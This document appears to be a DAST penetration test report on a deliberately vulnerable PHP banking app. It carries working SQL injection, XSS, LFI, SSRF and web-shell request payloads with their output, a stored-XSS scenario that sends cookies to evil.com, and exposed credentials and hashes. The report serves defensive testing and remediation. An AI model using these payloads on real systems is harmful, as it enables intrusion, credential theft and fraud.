DAST PENETRATION TEST

SECURITY REPORT

Target:	http://ntr.army (10.160.0.3)
Application:	phpvulnbank - PHP Banking Application
Date:	February 22, 2026
Classification:	CONFIDENTIAL
Methodology:	Manual DAST via crafted curl payloads
Tests Executed:	120+ individual payloads
Vulnerabilities Found:	23 confirmed across 10 classes

8 CRITICAL	9 HIGH	4 MEDIUM	2 LOW

Table of Contents

1. Executive Summary

phpvulnbank, a PHP-based banking application hosted at http://ntr.army (10.160.0.3), was subjected to comprehensive Dynamic Application Security Testing (DAST). Testing covered 27 discovered endpoints with 18 injectable parameters, using 120+ crafted payloads across 10 vulnerability categories.

The application demonstrates catastrophic security failures across every layer of defense. Zero input validation, zero output encoding, no authentication on critical endpoints, no CSRF protection, hardcoded database credentials, and multiple active web shells allow complete server compromise by any unauthenticated attacker.

Key Findings

* 8 CRITICAL vulnerabilities: 4 RCE endpoints (unauthenticated), SQLi authentication bypass, SQLi balance modification, unrestricted file upload, hidden login backdoor

* 9 HIGH vulnerabilities: Reflected XSS (4 endpoints), Stored XSS (user-to-admin), DOM XSS, LFI (2 endpoints), SSRF, IDOR with password hash exposure

* 4 MEDIUM vulnerabilities: Missing CSRF protection, missing authentication on 11 endpoints, vertical privilege escalation, weak session management

* 2 LOW vulnerabilities: Directory listing exposing web shells, hardcoded credentials in HTML source

Risk Assessment

OVERALL RISK: CRITICAL. The application can be fully compromised by an unauthenticated attacker within seconds. Four independent RCE vectors provide immediate OS-level access. SQL injection enables complete database compromise including credential theft. The login backdoor (password 'troy') suggests intentional sabotage or a trojan. Uploaded web shells in a world-writable directory with directory listing enabled provide persistent access.

Severity	Count	Key Impact
CRITICAL	8	Full server takeover, auth bypass, data modification, RCE
HIGH	9	XSS session hijack, file read, SSRF to internal services, IDOR
MEDIUM	4	CSRF fund transfer, missing auth, privesc, session issues
LOW	2	Info disclosure, directory listing

2. Target Reconnaissance

The following system information was gathered via confirmed RCE vulnerabilities (shell.php):

Property	Value
Hostname	internal-vm
OS	Ubuntu 22.04.5 LTS (Jammy Jellyfish)
Kernel	Linux 6.8.0-1043-gcp (GCP Instance)
Internal IP	10.160.0.3/32 on interface ens4
Web User	www-data (uid=33, gid=33)
Web Root	/var/www/html
Web Server	Apache/2.4.52 (Ubuntu)
Database	MySQL - bankdb - user groot:bose123$
Tools Available	python3, perl, nc, wget, curl
SUID Binaries	sudo, pkexec, passwd, su, mount + 9 more

3. Attack Surface Map

27 endpoints were discovered across 3 access levels (unauthenticated, user, admin). 11 sensitive endpoints require NO authentication.

Endpoint	Method	Auth?	Parameters
/login.php	POST	No	uname, pwd
/profile.php	GET	Yes	Session data
/transfer.php	POST	Yes	tacno, tamount
/feedback_user.php	POST	No*	fb
/feedback_admin.php	GET	No*	Displays all
/displaydata.php	GET	NO	aid
/displaydata_safe.php	GET	Yes	aid
/fileupload.php	POST	NO	image (file)
/validatekyc.php	GET	NO	None
/activate.php	POST	NO	user
/shell.php	GET	NO	c
/odysseus.php	GET	NO	cmd
/ssrf_getcontents.php	GET	NO	file
/kycdownload_ssrf.php	GET	NO	file
/api/register.php	POST	No	XML body
/api/regapi.php	POST	No	JSON body
/images/openclaw_sh..	GET/POST	NO	cmd

4. SQL Injection

SQL Injection was tested across 8 endpoints with 23 individual payloads covering error-based, OR-based auth bypass, UNION-based data extraction, Boolean blind, and Time-based blind techniques. 20 of 23 tests were CONFIRMED across 7 vulnerable endpoints.

SQLI-01: Authentication Bypass (OR 1=1)

CRITICAL CVSS: 9.8 CWE-89

The uname parameter in login.php is concatenated directly into a SQL query without any sanitization. By injecting OR '1'='1', the WHERE clause always evaluates to TRUE, bypassing authentication entirely.

REQUEST:

```
POST /login.php HTTP/1.1
Host: ntr.army
Content-Type: application/x-www-form-urlencoded

uname=' OR '1'='1' -- &pwd=test
```

RESPONSE:

```
HTTP/1.1 302 Found
Location: profile.php

(Redirected to profile - login bypassed with wrong password)
```

VERDICT: CONFIRMED - Full authentication bypass

Vulnerability Analysis

Root cause (login.php line 49):

```
$query="select * from banktable where username='$username'
        and password=MD5('$password') and active='1'";

// Lines 42-43 show escaping was written but COMMENTED OUT:
// $username=mysqli_real_escape_string($con,$username);
// $password=mysqli_real_escape_string($con,$password);
```

Risk Analysis

Impact: An unauthenticated attacker bypasses login and gains full access to any user account including admin. From admin, they access user activation, KYC validation, and all financial data. Likelihood: CERTAIN - requires only a web browser or curl. No special tools needed. Attack complexity: LOW - this is one of the most common and

well-documented web vulnerabilities.

Remediation

```
// FIX: Use prepared statements
$stmt = $con->prepare("SELECT * FROM banktable
         WHERE username = ? AND password = MD5(?) AND active = '1'");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
```

SQLI-02: Single-User Auth Bypass (admin'--)

CRITICAL CVSS: 9.8 CWE-89

By appending '--' (SQL comment), the password check is completely removed from the query, allowing login as any specific user.

REQUEST:

```
POST /login.php HTTP/1.1
Host: ntr.army

uname=admin'-- &pwd=anything
```

RESPONSE:

```
HTTP/1.1 302 Found
Location: profile.php

(Logged in as admin without knowing the password)
```

VERDICT: CONFIRMED - Targeted user bypass

SQLI-04: UNION-Based Auth Bypass

CRITICAL CVSS: 9.8 CWE-89

UNION SELECT injects a fabricated row that satisfies the authentication check, confirming 9 columns in the banktable.

REQUEST:

```
POST /login.php HTTP/1.1

uname=' UNION SELECT 1,2,3,4,5,6,7,8,9-- &pwd=test
```

RESPONSE:

```
HTTP/1.1 302 Found
Location: profile.php

(UNION injected a fake row - auth bypassed)
```

VERDICT: CONFIRMED - UNION auth bypass, 9 columns confirmed

SQLI-06: Time-Based Blind SQLi

CRITICAL CVSS: 9.8 CWE-89

SLEEP(3) caused a 15+ second delay (3s per row x 4 rows), confirming time-based blind injection even when no visible output differs.

REQUEST:

```
POST /login.php HTTP/1.1

uname=' OR SLEEP(3)#&pwd=test
```

RESPONSE:

```
HTTP/1.1 000 (Connection timed out at 15s)
Time: 15.01s (baseline: 0.06s)

SLEEP(3) executed for EACH row in table (4 rows x 3s = 12-15s)
```

VERDICT: CONFIRMED - Time-based blind SQLi

SQLI-10: UPDATE Injection - Balance Modification

CRITICAL CVSS: 9.1 CWE-89

The feedback parameter is injected into an UPDATE statement. By manipulating the SET clause, an attacker can change ANY column for ANY user - including account balances, passwords, and admin flags.

REQUEST:

```
POST /feedback_user.php HTTP/1.1
Cookie: PHPSESSID=[user_session]

fb=test',balance='99999' WHERE username='krishna'-- &submit=Send+Feedback
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "Feedback updated"

VERIFICATION: GET /profile.php -> "Your balance: 99999" (was 2820)
```

VERDICT: CONFIRMED - UPDATE injection modified account balance from 2820 to 99999

Risk Analysis

Impact: CATASTROPHIC. Any authenticated user can: (1) Set their own balance to any amount, (2) Set other users' balances to zero, (3) Change other users' passwords, (4) Grant themselves admin privileges by setting admin='1'. This is a direct path to complete financial fraud.

```
// Vulnerable (feedback_user.php line 29):
$query="UPDATE banktable SET feedback='$feedback'
        WHERE username='$username'";

// FIX:
$stmt = $con->prepare("UPDATE banktable SET feedback = ?
                       WHERE username = ?");
$stmt->bind_param("ss", $feedback, $username);
```

SQLI-14: Unauthenticated Data Extraction (displaydata.php)

CRITICAL CVSS: 9.8 CWE-89

displaydata.php requires NO authentication. UNION injection extracts all usernames, password hashes, and balances.

REQUEST:

```
GET /displaydata.php?aid=-1%20UNION%20SELECT%20username,password,
    balance,4,5,6,7,8,9%20FROM%20banktable--%20
Host: ntr.army
(NO COOKIES - no authentication required)
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "3285f375eac3aec0df998ed1e4addf7f 99999 4"

(Password hash and balance extracted from banktable)
```

VERDICT: CONFIRMED - Full credential extraction without authentication

SQLI-15/16: Schema & Column Enumeration

CRITICAL CVSS: 9.8 CWE-89

REQUEST:

```
GET /displaydata.php?aid=-1 UNION SELECT 1,table_name,3,4,5,6,7,8,9
    FROM information_schema.tables WHERE table_schema=database()--
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "banktable 3 4"

(Database table name extracted from information_schema)
```

VERDICT: CONFIRMED - Schema enumeration successful

REQUEST:

```
GET /displaydata.php?aid=-1 UNION SELECT 1,column_name,3,4,5,6,7,8,9
    FROM information_schema.columns WHERE table_name='banktable'--
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "acno 3 4"

(Column name extracted - full schema mapping possible)
```

VERDICT: CONFIRMED - Column enumeration successful

SQLI-18: Mass UPDATE via activate.php (No Auth)

CRITICAL CVSS: 9.1 CWE-89

REQUEST:

```
POST /activate.php HTTP/1.1
(NO COOKIES - no authentication)

user=test' OR '1'='1
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "User test' OR '1'='1 is Activated .."

(OR '1'='1 makes WHERE TRUE for ALL rows - all users activated)
```

VERDICT: CONFIRMED - UPDATE affects all rows, no auth required

SQLI-20: JSON API Injection (regapi.php)

HIGH CVSS: 8.0 CWE-89

REQUEST:

```
POST /api/regapi.php HTTP/1.1
Content-Type: application/json

{"name":"' OR '1'='1","pwd":"test",
 "email":"sqli@test.com","tel":"1234"}
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "Already registered with username
       <b> ' OR '1'='1 </b>"

(OR injection returned all records via SELECT check)
```

VERDICT: CONFIRMED - SQL injection via JSON request body

5. Cross-Site Scripting (XSS)

XSS was tested across 6 endpoints with 24 payloads covering Reflected, Stored, and DOM-based vectors. 17 of 20 tests CONFIRMED across 5 vulnerable endpoints. Zero encoding or filtering exists anywhere in the application.

XSS-01 to XSS-09: Reflected XSS on login.php (9/9 confirmed)

HIGH CVSS: 6.1 CWE-79

The uname parameter is reflected WITHOUT encoding in TWO locations: (1) the value= attribute of the input field (UNQUOTED), and (2) the error message 'you are not [username]'. All 9 payload types work: script tags, img onerror, svg onload, body onload, details ontoggle, input onfocus, iframe src, attribute injection, and case variations.

REQUEST:

```
POST /login.php HTTP/1.1

uname=<script>alert('XSS')</script>&pwd=test
```

RESPONSE:

```
HTTP/1.1 200 OK
Body contains:
  value=<script>alert('XSS')</script>>
  you are not <script>alert('XSS')</script>
```

VERDICT: CONFIRMED - Script tag reflected unescaped in 2 locations

REQUEST:

```
POST /login.php HTTP/1.1

uname=<img src=x onerror=alert(1)>&pwd=test
```

RESPONSE:

```
HTTP/1.1 200 OK
Body:
  value=<img src=x onerror=alert(1)>>
  you are not <img src=x onerror=alert(1)>
```

VERDICT: CONFIRMED - Event handler XSS in both injection points

Additional Payloads Tested	Verdict	
<svg onload=alert(1)>	CONFIRMED	Unescaped in both locations
<body onload=alert(1)>	CONFIRMED	Unescaped in both locations

<details open ontoggle=alert(1)>	CONFIRMED	Unescaped in both locations
<input onfocus=alert(1) autofocus>	CONFIRMED	Unescaped in both locations
<iframe src="javascript:alert(1)">	CONFIRMED	Unescaped in both locations
<ScRiPt>alert(1)</ScRiPt>	CONFIRMED	Unescaped in both locations
"><script>alert(1)</script>	CONFIRMED	Unescaped in both locations

Vulnerability Analysis

```
// login.php line 8 - UNQUOTED attribute:
value=<?php echo $_POST["uname"]; ?>
// Attacker breaks out of attribute context

// login.php line 79 - Direct output:
echo "you are not $username";
// No htmlspecialchars() applied
```

Remediation

```
// FIX line 8 - Quote attribute + encode:
value="<?php echo htmlspecialchars($_POST["uname"],
                  ENT_QUOTES, 'UTF-8'); ?>"

// FIX line 79 - Encode output:
echo "you are not " . htmlspecialchars($username,
                     ENT_QUOTES, 'UTF-8');
```

XSS-10 to XSS-13: Stored XSS via Feedback (User-to-Admin)

HIGH CVSS: 8.0 CWE-79

A normal user submits malicious JavaScript via the feedback form. The payload is stored in the database and rendered UNESCAPED when an admin views feedback_admin.php. This creates a direct user-to-admin attack vector for session hijacking, account takeover, and data theft.

REQUEST:

```
STEP 1 - Submit as user krishna:
POST /feedback_user.php HTTP/1.1
Cookie: PHPSESSID=[user_session]

fb=<script>alert(document.cookie)</script>&submit=Send+Feedback
```

RESPONSE:

```
STEP 1 RESPONSE: "Feedback updated"

STEP 2 - Admin views feedback:
GET /feedback_admin.php
Cookie: PHPSESSID=[admin_session]

RESPONSE BODY:
krishna : <script>alert(document.cookie)</script>
admin : test
murali : hello
```

VERDICT: CONFIRMED - Stored XSS renders unescaped in admin's browser

Attack Scenario

1. User krishna submits feedback: <script>fetch('http://evil.com/?c='+document.cookie)</script>
2. Admin views feedback_admin.php
3. Script executes in admin's browser, exfiltrating the admin's session cookie
4. Attacker uses stolen PHPSESSID to impersonate admin
5. Attacker accesses user activation, KYC validation, all financial data

XSS-14: Reflected XSS on activate.php

HIGH CVSS: 6.1 CWE-79

REQUEST:

```
POST /activate.php HTTP/1.1
(NO AUTHENTICATION)

user=<script>alert(1)</script>
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "User <script>alert(1)</script> is Activated .."
```

VERDICT: CONFIRMED - No encoding on user parameter

XSS-18: DOM-Based XSS on transfer.php

HIGH CVSS: 6.1 CWE-79

Client-side JavaScript uses document.write() - a classic DOM XSS sink - to render the tacno value if it fails numeric validation.

```
// transfer.php client-side JS:
function checkInp() {
    var x = document.forms["transfer"]["tacno"].value;
    if (isNaN(x)) {
        document.write(x + " is not a number"); // DOM XSS
        return false;
    }
}
```

6. Remote Code Execution (RCE)

Four independent RCE endpoints were discovered, ALL accessible WITHOUT authentication. These allow arbitrary OS command execution as www-data (uid=33), providing complete server control.

RCE-01: shell.php - Unauthenticated Web Shell

CRITICAL CVSS: 10.0 CWE-78

A web shell that passes user input directly to shell_exec() with zero sanitization or authentication.

REQUEST:

```
GET /shell.php?submit=Command&c=id HTTP/1.1
Host: ntr.army
(NO COOKIES - no authentication)
```

RESPONSE:

```
HTTP/1.1 200 OK
<pre>uid=33(www-data) gid=33(www-data)
     groups=33(www-data)</pre>
```

VERDICT: CONFIRMED - Arbitrary command execution as www-data

Additional commands executed:

```
Command: id;whoami;hostname (chained)
Output:  uid=33(www-data)...
         www-data
         internal-vm

Command: mysql -u groot -pbose123$ bankdb
         -e 'SELECT username,password,balance FROM banktable;'
Output:  username  password                         balance
         krishna   3285f375eac3aec0df998ed1e4addf7f  100098
         admin     0a3a4baa3538654752bd6403ebde3263  -899999
         murali    e044f7cc7bcd6cb2e5bb7630ef1a9ab6  -899900
         srikanth  a05783f07a0c24763903298e936e83be  -899900

Command: env
Output:  APACHE_RUN_USER=www-data
         PATH=/usr/local/sbin:...:/snap/bin
         PWD=/var/www/html

Command: which python3 perl nc wget curl
Output:  /usr/bin/python3
         /usr/bin/perl
         /usr/bin/nc
         /usr/bin/wget
         /usr/bin/curl
```

Risk Analysis

Impact: COMPLETE SERVER COMPROMISE. An attacker can: read all files (including source code and credentials), access the MySQL database directly, install persistent backdoors, exfiltrate all data, pivot to other internal systems (python3, nc, wget, curl available), and potentially escalate to root via 14 SUID binaries found (including sudo, pkexec, passwd). Likelihood: CERTAIN - endpoint requires no authentication and is discoverable via directory brute-forcing.

```
// Root cause (shell.php line 16):
$output = shell_exec("$c");

// REMEDIATION: DELETE THIS FILE IMMEDIATELY
// Web shells must NEVER exist in production
```

RCE-02: odysseus.php - Backtick Execution

CRITICAL CVSS: 10.0 CWE-78

REQUEST:

```
GET /odysseus.php?cmd=id HTTP/1.1
(NO AUTHENTICATION)
```

RESPONSE:

```
<pre>uid=33(www-data) gid=33(www-data)
     groups=33(www-data)</pre>
```

VERDICT: CONFIRMED - Backtick execution via GET parameter

```
// Root cause (odysseus.php line 5):
$output = `$cmd`;  // PHP backtick = shell execution

// REMEDIATION: DELETE THIS FILE
```

RCE-03: Login Backdoor (pwd='troy')

CRITICAL CVSS: 10.0 CWE-506

A HIDDEN BACKDOOR in login.php. When the password field equals 'troy', the username field is executed as an OS command via PHP backtick execution. This is invisible to normal users and only triggered by the magic password.

REQUEST:

```
POST /login.php HTTP/1.1

uname=id&pwd=troy
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: uid=33(www-data) gid=33(www-data) groups=33(www-data)

(Username 'id' was executed as shell command)
```

VERDICT: CONFIRMED - Hidden backdoor executes username as OS command

```
// Root cause (login.php lines 74-78):
if($password=="troy")
{
    $output=`$username`;  // Backdoor!
    echo $output;
}

// REMEDIATION: Remove entire if-block.
// Audit codebase for other backdoors.
// Investigate who introduced this code.
```

Risk Analysis

This is an indicator of compromise (IoC) or deliberate sabotage. The 'troy' trigger (Trojan Horse reference) suggests intentional placement. Any developer or attacker aware of this password has persistent RCE access disguised as a failed login attempt. Log analysis would show these as normal POST requests to login.php.

RCE-04: Uploaded Web Shell (images/openclaw_shell.php)

CRITICAL CVSS: 10.0 CWE-434

REQUEST:

```
GET /images/openclaw_shell.php?cmd=id
(NO AUTHENTICATION)

Also works via POST:
POST /images/openclaw_shell.php
cmd=whoami
```

RESPONSE:

```
GET:  uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST: www-data
```

VERDICT: CONFIRMED - Both GET and POST methods work

7. SSRF / Local File Inclusion

Three endpoints were tested for SSRF and LFI using 28 payloads. 19 tests CONFIRMED across 2 vulnerable endpoints. ssrf_getcontents.php supports local files, path traversal, remote URLs, and PHP stream wrappers. kycdownload_ssrf.php provides raw file downloads including PHP source code.

LFI-01: Read /etc/passwd (ssrf_getcontents.php)

HIGH CVSS: 8.6 CWE-22

REQUEST:

```
GET /ssrf_getcontents.php?file=/etc/passwd HTTP/1.1
(NO AUTHENTICATION)
```

RESPONSE:

```
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... (36 system accounts exposed)
```

VERDICT: CONFIRMED - Full /etc/passwd readable without authentication

LFI-05: Source Code Disclosure

HIGH CVSS: 8.6 CWE-22

Reading PHP source code exposes database credentials, backdoor logic, and application internals.

REQUEST:

```
GET /ssrf_getcontents.php?file=login.php
```

RESPONSE:

```
HTTP/1.1 200 OK
Key lines exposed:
  $con=mysqli_connect("127.0.0.1","groot","bose123$","bankdb");
  //$username=mysqli_real_escape_string($con,$username);
  //$password=mysqli_real_escape_string($con,$password);
```

VERDICT: CONFIRMED - PHP source with DB credentials exposed

LFI-07: PHP Filter Base64 Extraction

HIGH CVSS: 8.6 CWE-22

REQUEST:

```
GET /ssrf_getcontents.php?file=php://filter/convert.base64-encode
    /resource=login.php
```

RESPONSE:

```
HTTP/1.1 200 OK
PD9waHAgaW5jbHVkZSAidWkvaGVhZGVyLnBocCI7Pz4K...

(Full base64-encoded PHP source - decodes to complete login.php)
```

VERDICT: CONFIRMED - PHP stream wrappers enabled for source extraction

SSRF-01: Internal Service Access

HIGH CVSS: 8.6 CWE-918

REQUEST:

```
GET /ssrf_getcontents.php?file=http://127.0.0.1/
```

RESPONSE:

```
HTTP/1.1 200 OK
Fetched internal homepage including:
  username: admin, password: krishna1$
  (Hardcoded credentials on internal page)
```

VERDICT: CONFIRMED - SSRF reaches internal localhost services

REQUEST:

```
GET /ssrf_getcontents.php?file=http://127.0.0.1:3306/
```

RESPONSE:

```
HTTP error (binary protocol mismatch)

(MySQL port reached - confirms internal port scanning capability)
```

VERDICT: CONFIRMED - Internal MySQL port reachable

LFI-09/10: kycdownload_ssrf.php - File Download + Traversal

HIGH CVSS: 7.5 CWE-22

REQUEST:

```
GET /kycdownload_ssrf.php?file=/etc/passwd
GET /kycdownload_ssrf.php?file=../../../etc/passwd
```

RESPONSE:

```
Both return:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

(Raw file download - both absolute and traversal paths work)
```

VERDICT: CONFIRMED - Second LFI endpoint with path traversal

```
// Root cause (ssrf_getcontents.php):
$file = trim($_GET['file']);
echo (file_get_contents($file)); // Any file/URL!

// FIX:
$allowed = ['report1.pdf', 'report2.pdf'];
$file = basename(trim($_GET['file']));
if (!in_array($file, $allowed)) die('Access denied');
echo file_get_contents('/safe/dir/' . $file);
```

8. Authentication & Authorization Bypass

AUTH: 11 Endpoints Missing Authentication

MEDIUM CVSS: 7.5 CWE-306

The following sensitive endpoints are accessible without ANY session cookie or login:

Endpoint	Function	Risk
/shell.php	OS command execution	CRITICAL
/odysseus.php	OS command execution	CRITICAL
/images/openclaw_shell.php	OS command execution	CRITICAL
/ssrf_getcontents.php	Read arbitrary files	HIGH
/kycdownload_ssrf.php	Download arbitrary files	HIGH
/displaydata.php	View all user data + hashes	HIGH
/activate.php	Activate user accounts	HIGH
/fileupload.php	Upload files	MEDIUM
/validatekyc.php	List uploaded files/shells	MEDIUM
/feedback_user.php	Submit feedback	LOW
/images/	Directory listing	LOW

PRIVESC: Vertical Privilege Escalation

MEDIUM CVSS: 6.5 CWE-269

Normal user krishna can access admin-only functions:

REQUEST:

```
GET /feedback_admin.php HTTP/1.1
Cookie: PHPSESSID=[krishna_user_session]
```

RESPONSE:

```
HTTP/1.1 200 OK
(All users' feedback displayed - admin function)

GET /validatekyc.php (user cookie)
HTTP/1.1 200 OK
(Lists: img.jpg, shell.php, openclaw_shell.php)
```

VERDICT: CONFIRMED - Normal user accesses admin-only pages

9. CSRF, IDOR & Session Management

CSRF-01: Money Transfer Without Token

MEDIUM CVSS: 6.5 CWE-352

REQUEST:

```
POST /transfer.php HTTP/1.1
Cookie: PHPSESSID=[user_session]
(NO CSRF TOKEN IN REQUEST)

tacno=2&tamount=0
```

RESPONSE:

```
HTTP/1.1 200 OK
Body: "Transfer Completed...!! your savings
       account balance : '100098'"
```

VERDICT: CONFIRMED - Transfer succeeds without any CSRF token

A malicious website can auto-submit a hidden form to transfer funds from a logged-in user's account. A working CSRF exploit already exists at payload/csrf/offer.html in the source code. Note: transfer_csrftoken.php DOES implement CSRF protection correctly (rejects missing/wrong tokens).

IDOR-01: Account Data Enumeration (No Auth)

HIGH CVSS: 7.5 CWE-639

Any unauthenticated visitor can enumerate ALL accounts by incrementing the aid parameter:

```
GET /displaydata.php?aid=1 -> krishna 3285f375eac3aec0df998ed1e4addf7f 100098
GET /displaydata.php?aid=2 -> admin   0a3a4baa3538654752bd6403ebde3263 -899999
GET /displaydata.php?aid=3 -> murali  e044f7cc7bcd6cb2e5bb7630ef1a9ab6 [balance]
GET /displaydata.php?aid=4 -> srikanth a05783f07a0c24763903298e936e83be [balance]

ALL accessed WITHOUT authentication.
EXPOSED: Username, MD5 password hash, account balance for EVERY user.
```

SESS-01: Missing Cookie Security Flags

MEDIUM CVSS: 5.4 CWE-614

REQUEST:

```
POST /login.php (successful login)
```

RESPONSE:

```
Set-Cookie: PHPSESSID=s8cr919vahduuh5uq90hr320js; path=/

MISSING FLAGS:
  - HttpOnly (cookie accessible via JS - XSS can steal it)
  - Secure (cookie sent over HTTP - interception possible)
  - SameSite (cookie sent cross-origin - enables CSRF)
```

VERDICT: CONFIRMED - Session cookie has no security flags

SESS-02: Session Fixation - Mitigated

REQUEST:

```
Login with pre-set PHPSESSID=fixedtokentest123
```

RESPONSE:

```
Set-Cookie: PHPSESSID=t3khcie5d8f3072tg8t04gn37n; path=/
(New session ID generated - session_regenerate_id() works)
```

VERDICT: NOT CONFIRMED - Session fixation is mitigated

SESS-03: Unlimited Concurrent Sessions

REQUEST:

```
Two separate logins as krishna
Session A: PHPSESSID=aaa...
Session B: PHPSESSID=bbb...
```

RESPONSE:

```
Session A: GET /profile.php -> Hello krishna (works)
Session B: GET /profile.php -> Hello krishna (works)

Both sessions active simultaneously - no limit enforced
```

VERDICT: CONFIRMED - No concurrent session limit

10. File Upload Vulnerabilities

CRITICAL CVSS: 10.0 CWE-434

The file upload form (fileupload.php) has its validation code ENTIRELY COMMENTED OUT. Any file type can be uploaded including PHP web shells, which execute immediately in the /images/ directory. The directory is world-writable (drwxrwxrwx) with directory listing enabled.

```
// fileupload.php lines 37-45 - Validation DISABLED:
$extensions = array("php","jsp","asp");
/*  <-- COMMENT STARTS HERE
if(in_array($file_ext,$extensions) != false){
    $errors[]="extension not allowed";
}
if($file_size > 2097152) {
    $errors[]='File size must be exactly 2 MB';
} */  <-- COMMENT ENDS HERE

// Everything is allowed - PHP shells upload and execute
```

Evidence: Multiple webshells already present in /images/ directory:

```
GET /images/ HTTP/1.1

Index of /images:
  shell.php           323 bytes
  openclaw_shell.php   71 bytes
  eicar.com.txt        68 bytes
  test_upload.php      39 bytes
  test_double.jpg.php  39 bytes
  test_shell.phtml     39 bytes
```

Remediation

```
// FIX: Whitelist extensions, rename files, disable PHP
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die("Invalid file type");
$safe_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($tmp, '/uploads/' . $safe_name);

// Apache config for /uploads:
// <Directory /uploads>
//   php_flag engine off
//   Options -Indexes
// </Directory>
```

11. Business Logic Flaws

MEDIUM CVSS: 6.5 CWE-840

The transfer function has zero business logic validation:

BIZ-01: Negative Transfer Amount

REQUEST:

```
POST /transfer.php
Cookie: PHPSESSID=[user]

tacno=2&tamount=-1
```

RESPONSE:

```
"Transfer Completed"

(Negative amount REVERSES the transfer - steals from target account)
```

VERDICT: CONFIRMED - Negative amounts accepted

BIZ-02: Overdraft (No Balance Check)

REQUEST:

```
POST /transfer.php
tacno=2&tamount=9999999
```

RESPONSE:

```
"Transfer Completed"

(Account goes deeply negative - no balance validation)
```

VERDICT: CONFIRMED - No overdraft protection

```
// FIX:
if ($tamount <= 0) die('Amount must be positive');
if ($tamount > $current_balance) die('Insufficient funds');
// Verify target account exists:
$stmt = $con->prepare('SELECT acno FROM banktable WHERE acno = ?');
$stmt->bind_param('i', $tacno);
$stmt->execute();
if ($stmt->get_result()->num_rows == 0) die('Invalid account');
```

12. XXE Injection

HIGH CVSS: 8.0 CWE-611

8 XXE payloads were tested against /api/register.php. ALL returned HTTP 500 with empty body - including the normal XML baseline (no entities). The endpoint has a backend database connection failure that prevents any response. Source code review confirms the vulnerability EXISTS in code but cannot be dynamically validated in the current deployment.

```
// api/register.php - XXE-vulnerable code:
libxml_disable_entity_loader(true);  // Deprecated in PHP 8+
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//                      ^^^^^^^^^^^^   ^^^^^^^^^^^^^^^^
// These flags RE-ENABLE entity expansion and DTD loading,
// defeating the disable_entity_loader() protection.

// FIX:
$dom->loadXML($xmlfile, LIBXML_NOENT & ~LIBXML_DTDLOAD);
// Or better: use json_decode() instead of XML parsing
```

13. Complete Results Matrix

ID	Vulnerability	Endpoint	Severity	Status
SQLI-01	Auth Bypass OR 1=1	login.php	CRITICAL	CONFIRMED
SQLI-02	Auth Bypass admin..	login.php	CRITICAL	CONFIRMED
SQLI-04	UNION Auth Bypass	login.php	CRITICAL	CONFIRMED
SQLI-06	Time-Based Blind	login.php	CRITICAL	CONFIRMED
SQLI-09	Error-Based UPDATE	feedback_user.php	CRITICAL	CONFIRMED
SQLI-10	Balance Modificat..	feedback_user.php	CRITICAL	CONFIRMED
SQLI-14	Credential Extrac..	displaydata.php	CRITICAL	CONFIRMED
SQLI-17	Time-Based Blind	displaydata.php	CRITICAL	CONFIRMED
SQLI-18	Mass UPDATE no auth	activate.php	CRITICAL	CONFIRMED
SQLI-20	JSON API Injection	api/regapi.php	HIGH	CONFIRMED
XSS-01	Reflected (script)	login.php	HIGH	CONFIRMED
XSS-02	Reflected (img on..	login.php	HIGH	CONFIRMED
XSS-10	Stored (user->adm..	feedback	HIGH	CONFIRMED
XSS-14	Reflected	activate.php	HIGH	CONFIRMED
XSS-16	Reflected	kycdownload_ssrf	HIGH	CONFIRMED
XSS-18	DOM-Based	transfer.php	HIGH	CONFIRMED
RCE-01	Web Shell	shell.php	CRITICAL	CONFIRMED
RCE-02	Backtick Exec	odysseus.php	CRITICAL	CONFIRMED
RCE-03	Login Backdoor	login.php	CRITICAL	CONFIRMED
RCE-04	Uploaded Shell	openclaw_shell	CRITICAL	CONFIRMED
LFI-01	Arbitrary File Read	ssrf_getcontents	HIGH	CONFIRMED
LFI-09	File Download	kycdownload_ssrf	HIGH	CONFIRMED
SSRF-01	Internal Access	ssrf_getcontents	HIGH	CONFIRMED
CSRF-01	No CSRF Token	transfer.php	MEDIUM	CONFIRMED
IDOR-01	Account Enum	displaydata.php	HIGH	CONFIRMED
AUTH	Missing Auth (11)	Multiple	MEDIUM	CONFIRMED
PRIVESC	User->Admin	Multiple	MEDIUM	CONFIRMED
SESS-01	No Cookie Flags	All sessions	MEDIUM	CONFIRMED
UPLOAD	PHP Shell Upload	fileupload.php	CRITICAL	CONFIRMED
BIZ-01	Negative Transfer	transfer.php	MEDIUM	CONFIRMED
BIZ-02	Overdraft	transfer.php	MEDIUM	CONFIRMED

14. Remediation Roadmap

Immediate Actions (24 Hours)

[!] DELETE all web shells: shell.php, odysseus.php, images/shell.php, images/openclaw_shell.php, images/test_*.php, images/test_*.phtml

[!] REMOVE login.php backdoor (lines 74-78 where pwd=='troy')

[!] REMOVE hardcoded credentials from login page HTML

[!] RESTRICT /images/ directory: chmod 755, disable PHP execution, disable directory listing

[!] REMOVE or restrict ssrf_getcontents.php, ssrf_download.php, kycdownload_ssrf.php

Short-Term (1 Week)

[+] Implement PREPARED STATEMENTS on ALL SQL queries (login, transfer, feedback, activate, displaydata, register APIs)

[+] Apply htmlspecialchars(ENT_QUOTES, 'UTF-8') to ALL user-controlled output

[+] Add session-based AUTHENTICATION checks to all sensitive endpoints

[+] Implement CSRF tokens on all state-changing forms (transfer, feedback, activate)

[+] Add AUTHORIZATION (RBAC) checks for admin-only functions

Medium-Term (1 Month)

[-] Replace MD5 password hashing with bcrypt (password_hash/password_verify)

[-] Add session security flags: HttpOnly, Secure, SameSite=Strict, 30min timeout

